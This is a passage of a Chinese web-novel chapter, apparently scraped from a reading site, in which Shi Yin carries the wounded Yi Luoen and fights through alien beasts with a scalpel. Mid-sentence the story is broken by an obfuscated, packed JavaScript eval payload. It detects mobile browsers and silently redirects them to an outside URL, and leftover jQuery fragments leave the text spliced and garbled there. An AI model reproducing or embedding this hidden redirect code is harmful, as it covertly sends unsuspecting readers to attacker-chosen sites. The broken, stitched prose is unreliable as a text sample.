伊洛恩深深地吸了一口气,忽然感觉自己又有了一点力量,努力地说:“我一定……一定撑住。猫咪……猫咪等我。” 诗因终于松了口气,趴在他的脸颊边,低声说:“猫会一直等你的。” 26. 突围 见伊洛恩情况稳定了一些,诗因又给他喂了一瓶营养液,在他身体各处按摩一阵,确认他的体温没有继续下降,这才松了口气。 伊洛恩仍然半昏迷着,只是身体稍微有了一点热度,像风中摇曳的一点烛火。诗因用双手小心地捧住了,生怕它下一秒就会化作轻烟。 但这不是长久之计,必须尽快带他出去。 诗因扯掉身下的床单,像是包裹婴儿一样,把伊洛恩裹紧了,牢牢背在背后,在胸前打了个大大的死结,确保他不会在半路掉下来。 然后他捋起衬衫的袖子,淌水来到房间的角落,把大半个身体都泡在水里的小美单手拎起来,摁下了开机按钮。 “叮咚!”机器人按照设定程序,用单调而兴高采烈的声音发出台词,“护理机器人1034已启动,很高兴为您服务!” 诗因一把将这块铁皮掼在墙上,冷冰冰地说:“美黛丝,给你三秒钟时间,再不出现我就把你原地销毁。” 一阵七彩光效闪过,小美闪亮登场。 它眨巴眨巴豆子眼,高高兴兴地说:“主人,我回来啦!让我看看你和阁下进展如何了——喔!这边检测到您体内已经融合了三种不同类型的津液,好耶!血液占比相当大,看来战况十分激烈!只是小少爷还没有成型的迹象,小美这边真的感到非常可惜……” 诗因松开手,小美扑通一声落进了水里,欢快的声音戛然而止。 “把你的电量用在该用的地方。”诗因的语调听不出任何情绪,他俯身说,“给我一件武器。” 小美费劲巴拉地把自己从水里弄出来,唉声叹气:“主人,你好没有幽默气氛。” 他嘟嘟囔囔:“我知道雄虫阁下身体出了问题,所以才想让你高兴一点的。而且谁叫你不听我的,要是早点怀上虫崽,就算阁下一不小心死掉了,你也不会太难过嘛。” 诗因咬牙:“再废话我就把你销毁。” 小美:“我好怕怕哟。” 它顶着诗因的死亡凝视,到底没有再说多余的话,从胸口稀里哗啦掏了一堆东西出来,最后翻出了一把手术刀。 它说:“我之前扫过这个地下室,仓库里也没有其他的武器可以用,几把枪都锈掉了,可能还不如这个。” 诗因接过那把刀,在手里转了一圈,满脸嫌弃:“这也太脆了,没有别的吗。” 要不是因为他的翅膀萎缩了,他哪用得着这种玩具一样的东西。 小美:“……没了!您省着点用吧!” “好吧,撬个门还勉强够。” 寂静黑暗的室内,手术刀银色的刀面映着机器人身上的冷光,锋锐得仿佛吹发即断。 诗因金色的眼睛流动着森冷的光泽,像一头潜伏在黑暗中的大型猛兽,因为身躯被黑暗遮蔽,所以仿佛和黑暗融为了一体,更加庞大而无边界,几乎无可窥探。 他说:“你负责后方,扫描地上的异兽位置,随我突围。” “知道咯——” 此时的地面上,三三两两的异兽盘桓在地洞入口附近,时不时用爪子刨一下土,扬起一阵灰尘,最后见刨不出什么东西,又懒洋洋地趴了下去。 时间已经过去了三天,这个星球上的肉食被它们吃得差不多了,大多异兽撤离前往下一个星球,但还有一部分对躲藏起来的虫族念念不忘。它们脑子虽然不好,但是嗅觉却格外敏锐,能够隔着几米的土层和混凝土材料,闻到地下传来的微弱血腥气。 血腥味在加重,藏在里面的猎物大概在自相残杀。 猎物们撑不了多久了,迟早会跑出来。 异兽们舔舔爪子,又舔舔嘴唇,忍不住对着幻想中的大餐吧嗒吧嗒地流口水。越是等待,越是饥饿,经过这样漫长而不懈的坚守,最后吃到嘴里的虫族,肯定会更加美味吧。 嘿嘿,饭饭,嘿嘿。 它们打着盹,正做着美美吃大餐的好梦,这时只听一声爆响,尘土冲天而起! “嗷!” 距离出口最近的几只异兽被落雨般的泥土和石块打得措手不及,它们虽然皮糙肉厚,但也不是完全不会痛的,傻愣愣地甩了两下头,还完全看不清东西,紧接着距离洞口最近的异兽忽然被重重踹了一下脑门,还没来得及叫嚷,脆弱的脖颈就是一凉! 银色的手术刀上下翻飞,收割生命的动作冷静而迅捷。诗因拔出小刀,双脚在它头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15350103|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一个借力,背着伊洛恩纵身一跃,顺势跳出了包围圈。 与此同时,猫咪在另一个方向朝异兽展开偷袭,锐利的猫爪再次袭向了异兽们脆弱的眼睛,只听惨嚎声惊天动地,仇恨瞬间拉满,围观群众怒不可遏,新仇旧恨加在一起,它们当即把逃走的大餐忘得一干二净,非要先弄死这只小妖精不可! 地动山摇,诗因在飞扬的尘土间屈膝落地,俯身卸去惯性,他稳稳地托住伊洛恩的身体,长发一甩,朝着医院的方向直冲而去。 路上三三两两地游荡着落单的异兽,在他前进的路上形成了一组目标明确的障碍物。诗因在全速奔跑的过程中眯起眼,脑海中飞快估算着自己前进的速度和对方的距离,狭长的手术刀在手中划出一道漂亮的银色弧光,如同一团闪电,随时酝酿着新一轮的爆炸。 脚掌与地面快速相碰,哒哒哒—— 前方的异兽已经发现了他们,纷纷人立而起,张开血盆大口,想要收获一餐自投罗网的美味点心—— 诗因俯冲,起跳,出刀—— 在他背后,小美好不容易才让自己胖胖的身体挤出包围圈,一抬头正好看见诗因这近身肉搏的一幕,吓得吱哇乱叫:“主人!主人你现在没有穿机甲,你悠着点啊啊啊!!” 话音刚落,前方血溅三尺。 诗因侧头避开脏污,另一只手扶了一下背上的伊洛恩,冷声说:“我悠着点,他怎么办?” 小美露出哭唧唧的表情:“那……那让小美来打头阵就好了嘛。” “等回到你自己的身体再说吧。”诗因嗤之以鼻。他随手朝身后甩出手术刀,只听一声惨叫,他回头拔刀,起身一跳,喝道:“跟上!” 当初伊洛恩背着诗因逃出生天,从异兽的爪下将他救出来,让他重获新生。 如今诗因背着伊洛恩大杀四方,从病魔和种种厄运的镰刀下夺回他垂危的性命,要他长命百岁。 他们为彼此画上命运的半圆,才能成就这场意外相遇的缘分。 诗因踩住异兽崩裂的头颅,抹了一把溅到脸上的血,眼神像是被鲜血开锋过的宝剑,杀气四溢,又一往无前。 谁若阻拦他,谁就死。